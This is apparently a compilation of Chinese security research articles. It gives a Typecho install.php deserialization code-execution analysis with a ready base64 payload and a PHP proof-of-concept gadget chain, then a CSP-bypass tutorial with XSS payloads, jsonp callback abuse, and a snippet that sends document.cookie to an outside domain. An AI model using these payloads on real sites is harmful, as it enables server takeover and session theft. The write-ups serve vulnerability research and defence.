可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。
路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。参考链接
-
Typecho 前台 getshell 漏洞分析
作者:LoRexxar’@知道创宇404实验室
0x01 简述
Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。
2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。
经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。
0x02 复现
打开安装好的Typecho
生成对应的payload
1<ol class="linenums"><li class="L0"><code><span class="typ">YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9</span></code></li></ol>设置相应的cookie并发送请求向
1<ol class="linenums"><li class="L0"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/install.php?finish</span></code></li></ol>成功执行phpinfo
0x03 漏洞分析
漏洞的入口点在install.php,进入install.php首先经过两个判断
1<ol class="linenums"><li class="L0"><code><span class="com">//判断是否已经安装</span></code></li><li class="L1"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'finish'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> file_exists</span><span class="pun">(</span><span class="pln">__TYPECHO_ROOT_DIR__ </span><span class="pun">.</span><span class="pln"> </span><span class="str">'/config.inc.php'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> empty</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'typecho'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">// 挡掉可能的跨站请求</span></code></li><li class="L6"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">)</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'HTTP_REFERER'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> $parts </span><span class="pun">=</span><span class="pln"> parse_url</span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'HTTP_REFERER'</span><span class="pun">]);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$parts</span><span class="pun">[</span><span class="str">'port'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> $parts</span><span class="pun">[</span><span class="str">'host'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">"{$parts['host']}:{$parts['port']}"</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$parts</span><span class="pun">[</span><span class="str">'host'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> $_SERVER</span><span class="pun">[</span><span class="str">'HTTP_HOST'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> $parts</span><span class="pun">[</span><span class="str">'host'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code><span class="pun">}</span></code></li></ol>只要传入GET参数finish,并设置referer为站内url即可。
跟入代码,找到漏洞点入口点,install.php 232行到237行
看起来比较清楚,一个比较明显的反序列化漏洞
问题在于如何利用,反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的只有几个。
1<ol class="linenums"><li class="L0"><code><span class="pln">__destruct</span><span class="pun">()</span></code></li><li class="L1"><code><span class="pln">__wakeup</span><span class="pun">()</span></code></li><li class="L2"><code><span class="pln">__toString</span><span class="pun">()</span></code></li></ol>其中
__destruct()
是在对象被销毁的时候自动调用,__Wakeup
在反序列化的时候自动调用,__toString()
是在调用对象的时候自动调用。这里如果构造的反序列化是一个数组,其中adapter设置为某个类,就可以触发相应类的
__toString
方法寻找所有的toString方法,我暂时只找到一个可以利用的的类方法。
/var/Typecho/Feed.php 文件223行
顺着分析tostring函数
290行 调用了
$item['author']->screenName
,这是一个当前类的私有变量358行 同样调用了同样的变量,这里应该也是可以利用的
这里要提到一个特殊的魔术方法
__get
,__get
会在读取不可访问的属性的值的时候调用,我们可以通过设置item来调用某个位置的__get
魔术方法,让我们接着寻找。/var/Typecho/Request.php 第269行应该是唯一一个可利用的
__get
方法.跟入get函数
最后进入159行 applyFilter函数
我们找到了
call_user_func
函数,回溯整个利用链我们可以通过设置
item['author']
来控制Typecho_Request
类中的私有变量,这样类中的_filter
和_params['screenName']
都可控,call_user_func
函数变量可控,任意代码执行。但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.
回顾一下代码
在install.php的开始,调用了
ob_start()
在php.net上关于
ob_start
的解释是这样的。因为我们上面对象注入的代码触发了原本的exception,导致
ob_end_clean()
执行,原本的输出会在缓冲区被清理。我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。
这里有两个办法。
1、因为call_user_func
函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。解决了这个问题,整个利用ROP链就成立了
0x04 poc
1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span><span class="pln">php</span></code></li><li class="L1"><code><span class="kwd">class</span><span class="pln"> </span><span class="typ">Typecho_Request</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_params </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_filter </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> __construct</span><span class="pun">()</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">// $this->_params['screenName'] = 'whoami';</span></code></li><li class="L9"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_params</span><span class="pun">[</span><span class="str">'screenName'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_filter</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'phpinfo'</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">class</span><span class="pln"> </span><span class="typ">Typecho_Feed</span></code></li><li class="L5"><code><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> RSS2 </span><span class="pun">=</span><span class="pln"> </span><span class="str">'RSS 2.0'</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">/** 定义ATOM 1.0类型 */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> ATOM1 </span><span class="pun">=</span><span class="pln"> </span><span class="str">'ATOM 1.0'</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="com">/** 定义RSS时间格式 */</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> DATE_RFC822 </span><span class="pun">=</span><span class="pln"> </span><span class="str">'r'</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/** 定义ATOM时间格式 */</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> DATE_W3CDTF </span><span class="pun">=</span><span class="pln"> </span><span class="str">'c'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/** 定义行结束符 */</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> EOL </span><span class="pun">=</span><span class="pln"> </span><span class="str">"\n"</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_type</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_items </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">public</span><span class="pln"> $dateFormat</span><span class="pun">;</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> __construct</span><span class="pun">()</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_type </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">::</span><span class="pln">RSS2</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'link'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'title'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'2'</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'date'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1507720298</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'author'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Typecho_Request</span><span class="pun">();</span></code></li><li class="L6"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'category'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Typecho_Request</span><span class="pun">());</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_items</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $item</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pun">}</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">$x </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Typecho_Feed</span><span class="pun">();</span></code></li><li class="L3"><code><span class="pln">$a </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span></code></li><li class="L4"><code><span class="pln"> </span><span class="str">'host'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'localhost'</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> </span><span class="str">'user'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'xxxxxx'</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> </span><span class="str">'charset'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'utf8'</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> </span><span class="str">'port'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'3306'</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> </span><span class="str">'database'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'typecho'</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="str">'adapter'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> $x</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> </span><span class="str">'prefix'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'typecho_'</span></code></li><li class="L1"><code><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">echo urlencode</span><span class="pun">(</span><span class="pln">base64_encode</span><span class="pun">(</span><span class="pln">serialize</span><span class="pun">(</span><span class="pln">$a</span><span class="pun">)));</span></code></li><li class="L3"><code><span class="pun">?></span></code></li></ol>0x05 Reference
-
[1] Typecho官网
-
[2] Typecho github链接
-
[3] Typecho 官方补丁
- [4] Typecho install.php 反序列化导致任意代码执行
0x06 后记
我们在10月25日收到p0的漏洞分析投稿http://p0sec.net/index.php/archives/114//http://p0sec.net/index.php/archives/114/,与我们撞洞了,这里一并表示感谢。
-
-
前端防御从入门到弃坑–CSP变迁
作者:LoRexxar’@知道创宇404实验室
0x01 前端防御的开始
对于一个基本的XSS漏洞页面,它发生的原因往往是从用户输入的数据到输出没有有效的过滤,就比如下面的这个范例代码。
1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span><span class="pln">php</span></code></li><li class="L1"><code><span class="pln">$a </span><span class="pun">=</span><span class="pln"> $_GET</span><span class="pun">[</span><span class="str">'a'</span><span class="pun">];</span></code></li><li class="L2"><code><span class="pln">echo $a</span><span class="pun">;</span></code></li></ol>对于这样毫无过滤的页面,我们可以使用各种方式来构造一个xss漏洞利用。
1<ol class="linenums"><li class="L0"><code><span class="pln">a</span><span class="pun">=<</span><span class="pln">script</span><span class="pun">></span><span class="pln">alert</span><span class="pun">(</span><span class="lit">1</span><span class="pun">)</</span><span class="pln">script</span><span class="pun">></span></code></li><li class="L1"><code><span class="pln">a</span><span class="pun">=<</span><span class="pln">img</span><span class="pun">/</span><span class="pln">src</span><span class="pun">=</span><span class="lit">1</span><span class="pun">/</span><span class="pln">onerror</span><span class="pun">=</span><span class="pln">alert</span><span class="pun">(</span><span class="lit">1</span><span class="pun">)></span></code></li><li class="L2"><code><span class="pln">a</span><span class="pun">=<</span><span class="pln">svg</span><span class="pun">/</span><span class="pln">onload</span><span class="pun">=</span><span class="pln">alert</span><span class="pun">(</span><span class="lit">1</span><span class="pun">)></span></code></li></ol>对于这样的漏洞点来说,我们通常会使用htmlspecialchars函数来过滤输入,这个函数会处理5种符号。
1<ol class="linenums"><li class="L0"><code><span class="pun">&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">AND</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="pun">&</span><span class="pln">amp</span><span class="pun">;</span></code></li><li class="L1"><code><span class="str">" (双引号) => &quot; (当ENT_NOQUOTES没有设置的时候) </span></code></li><li class="L2"><code><span class="str">' (单引号) => ' (当ENT_QUOTES设置) </span></code></li><li class="L3"><code><span class="str">< (小于号) => &lt; </span></code></li><li class="L4"><code><span class="str">> (大于号) => &gt;</span></code></li></ol>一般意义来说,对于上面的页面来说,这样的过滤可能已经足够了,但是很多时候场景永远比想象的更多。
1<ol class="linenums"><li class="L0"><code><span class="tag"><a</span><span class="pln"> </span><span class="atn">href</span><span class="pun">=</span><span class="atv">"{输入点}"</span><span class="tag">></span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="tag"><div</span><span class="pln"> </span><span class="atn">style</span><span class="pun">=</span><span class="atv">"</span><span class="pun">{输入点}</span><span class="atv">"</span><span class="tag">></span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="tag"><img</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"{输入点}"</span><span class="tag">></span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="tag"><img</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">{输入点}</span><span class="tag">></span><span class="pln">(没有引号)</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="tag"><script></span><span class="pun">{输入点}</span><span class="tag"></script></span></code></li></ol>对于这样的场景来说,上面的过滤已经没有意义了,尤其输入点在script标签里的情况,刚才的防御方式可以说是毫无意义。
一般来说,为了能够应对这样的xss点,我们会使用更多的过滤方式。
首先是肯定对于符号的过滤,为了能够应对各种情况,我们可能需要过滤下面这么多符号
1<ol class="linenums"><li class="L0"><code><span class="pun">%</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="pun">,</span><span class="pln"> </span><span class="pun">–</span><span class="pln"> </span><span class="pun">/</span><span class="pln"> </span><span class="pun">;</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="pun">^</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> </span><span class="str">`</span></code></li></ol>但事实上过度的过滤符号严重影响了用户正常的输入,这也是这种过滤使用非常少的原因。
大部分人都会选择使用htmlspecialchars+黑名单的过滤方法
1<ol class="linenums"><li class="L0"><code><span class="pln">on\w</span><span class="pun">+=</span></code></li><li class="L1"><code><span class="pln">script</span></code></li><li class="L2"><code><span class="pln">svg</span></code></li><li class="L3"><code><span class="pln">iframe</span></code></li><li class="L4"><code><span class="pln">link</span></code></li><li class="L5"><code><span class="pun">…</span></code></li></ol>这样的过滤方式如果做的足够好,看上去也没什么问题,但回忆一下我们曾见过的那么多XSS漏洞,大多数漏洞的产生点,都是过滤函数忽略的地方。
那么,是不是有一种更底层的防御方式,可以从浏览器的层面来防御漏洞呢?
CSP就这样诞生了…
0x02 CSP(Content Security Policy)
Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。
CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
一个简单的CSP规则可能就是下面这样
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;"</span><span class="pun">);</span></code></li></ol>其中的规则指令分很多种,每种指令都分管浏览器中请求的一部分。
每种指令都有不同的配置
简单来说,针对不同来源,不同方式的资源加载,都有相应的加载策略。
我们可以说,如果一个站点有足够严格的CSP规则,那么XSS or CSRF就可以从根源上被防止。
但事实真的是这样吗?
0x03 CSP Bypass
CSP可以很严格,严格到甚至和很多网站的本身都想相冲突。
为了兼容各种情况,CSP有很多松散模式来适应各种情况。
在便利开发者的同时,很多安全问题就诞生了。
CSP对前端攻击的防御主要有两个:
1、限制js的执行。
2、限制对不可信域的请求。接下来的多种Bypass手段也是围绕这两种的。
1
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self '; script-src * "</span><span class="pun">);</span></code></li></ol>天才才能写出来的CSP规则,可以加载任何域的js
1<ol class="linenums"><li class="L0"><code><span class="tag"><script</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"http://lorexxar.cn/evil.js"</span><span class="tag">></script></span></code></li></ol>随意开火
2
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'self' "</span><span class="pun">);</span></code></li></ol>最普通最常见的CSP规则,只允许加载当前域的js。
站内总会有上传图片的地方,如果我们上传一个内容为js的图片,图片就在网站的当前域下了。
1<ol class="linenums"><li class="L0"><code class="lang-test.jpg"><span class="pln">alert</span><span class="pun">(</span><span class="lit">1</span><span class="pun">);</span><span class="com">//</span></code></li></ol>直接加载图片就可以了
1<ol class="linenums"><li class="L0"><code><span class="tag"><script</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">'upload/test.js'</span><span class="tag">></script></span></code></li></ol>3
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ "</span><span class="pun">);</span></code></li></ol>当你发现设置self并不安全的时候,可能会选择把静态文件的可信域限制到目录,看上去好像没什么问题了。
但是如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。
假设static目录下存在一个302文件
1<ol class="linenums"><li class="L0"><code><span class="typ">Static</span><span class="pun">/</span><span class="lit">302.php</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pun"><?</span><span class="pln">php </span><span class="typ">Header</span><span class="pun">(</span><span class="str">"location: "</span><span class="pun">.</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'url'</span><span class="pun">])?></span></code></li></ol>像刚才一样,上传一个test.jpg
然后通过302.php跳转到upload目录加载js就可以成功执行1<ol class="linenums"><li class="L0"><code><span class="tag"><script</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"static/302.php?url=upload/test.jpg"</span><span class="tag">></span></code></li></ol>4
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'self' "</span><span class="pun">);</span></code></li></ol>CSP除了阻止不可信js的解析以外,还有一个功能是组织向不可信域的请求。
在上面的CSP规则下,如果我们尝试加载外域的图片,就会被阻止
1<ol class="linenums"><li class="L0"><code><span class="tag"><img</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"http://lorexxar.cn/1.jpg"</span><span class="tag">></span><span class="pln"> -> 阻止</span></code></li></ol>在CSP的演变过程中,难免就会出现了一些疏漏
1<ol class="linenums"><li class="L0"><code><span class="tag"><link</span><span class="pln"> </span><span class="atn">rel</span><span class="pun">=</span><span class="atv">"prefetch"</span><span class="pln"> </span><span class="atn">href</span><span class="pun">=</span><span class="atv">"http://lorexxar.cn"</span><span class="tag">></span><span class="pln"> (H5预加载)(only chrome)</span></code></li><li class="L1"><code><span class="tag"><link</span><span class="pln"> </span><span class="atn">rel</span><span class="pun">=</span><span class="atv">"dns-prefetch"</span><span class="pln"> </span><span class="atn">href</span><span class="pun">=</span><span class="atv">"http://lorexxar.cn"</span><span class="tag">></span><span class="pln"> (DNS预加载)</span></code></li></ol>在CSP1.0中,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整,每个浏览器都维护一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP规则。
5
无论CSP有多么严格,但你永远都不知道会写出什么样的代码。
下面这一段是Google团队去年一份关于CSP的报告中的一份范例代码
1<ol class="linenums"><li class="L0"><code><span class="com">// <input id="cmd" value="alert,safe string"></span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="kwd">var</span><span class="pln"> array </span><span class="pun">=</span><span class="pln"> document</span><span class="pun">.</span><span class="pln">getElementById</span><span class="pun">(</span><span class="str">'cmd'</span><span class="pun">).</span><span class="pln">value</span><span class="pun">.</span><span class="pln">split</span><span class="pun">(</span><span class="str">','</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">window</span><span class="pun">[</span><span class="pln">array</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]].</span><span class="pln">apply</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">,</span><span class="pln"> array</span><span class="pun">.</span><span class="pln">slice</span><span class="pun">(</span><span class="lit">1</span><span class="pun">));</span></code></li></ol>机缘巧合下,你写了一段执行输入字符串的js。
事实上,很多现代框架都有这样的代码,从既定的标签中解析字符串当作js执行。
1<ol class="linenums"><li class="L0"><code><span class="pln">angularjs</span><span class="pun">甚至有一个</span><span class="pln">ng</span><span class="pun">-</span><span class="pln">csp</span><span class="pun">标签来完全兼容</span><span class="pln">csp</span><span class="pun">,在</span><span class="pln">csp</span><span class="pun">存在的情况下也能顺利执行。</span></code></li></ol>对于这种情况来说,CSP就毫无意义了
6
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'self' "</span><span class="pun">);</span></code></li></ol>或许你的站内并没有这种问题,但你可能会使用jsonp来跨域获取数据,现代很流行这种方式。
但jsonp本身就是CSP的克星,jsonp本身就是处理跨域问题的,所以它一定在可信域中。
1<ol class="linenums"><li class="L0"><code><span class="tag"><script</span></code></li><li class="L1"><code><span class="atn">src</span><span class="pun">=</span><span class="atv">"/path/jsonp?callback=alert(document.domain)//"</span><span class="tag">></span></code></li><li class="L2"><code><span class="tag"></script></span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">/* API response */</span></code></li><li class="L5"><code><span class="pln">alert(document.domain);//{"var": "data", ...});</span></code></li></ol>这样你就可以构造任意js,即使你限制了callback只获取
\w+
的数据,部分js仍然可以执行,配合一些特殊的攻击手段和场景,仍然有危害发生。唯一的办法是返回类型设置为json格式。
7
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' "</span><span class="pun">);</span></code></li></ol>比起刚才的CSP规则来说,这才是最最普通的CSP规则。
unsafe-inline是处理内联脚本的策略,当CSP中制定script-src允许内联脚本的时候,页面中直接添加的脚本就可以被执行了。
1<ol class="linenums"><li class="L0"><code><span class="tag"><script></span></code></li><li class="L1"><code><span class="pln">js code</span><span class="pun">;</span><span class="pln"> </span><span class="com">//在unsafe-inline时可以执行</span></code></li><li class="L2"><code><span class="tag"></script></span></code></li></ol>既然我们可以任意执行js了,剩下的问题就是怎么绕过对可信域的限制。
1 js生成link prefetch
第一种办法是通过js来生成link prefetch
1<ol class="linenums"><li class="L0"><code><span class="kwd">var</span><span class="pln"> n0t </span><span class="pun">=</span><span class="pln"> document</span><span class="pun">.</span><span class="pln">createElement</span><span class="pun">(</span><span class="str">"link"</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">n0t</span><span class="pun">.</span><span class="pln">setAttribute</span><span class="pun">(</span><span class="str">"rel"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"prefetch"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">n0t</span><span class="pun">.</span><span class="pln">setAttribute</span><span class="pun">(</span><span class="str">"href"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"//ssssss.com/?"</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> document</span><span class="pun">.</span><span class="pln">cookie</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">document</span><span class="pun">.</span><span class="pln">head</span><span class="pun">.</span><span class="pln">appendChild</span><span class="pun">(</span><span class="pln">n0t</span><span 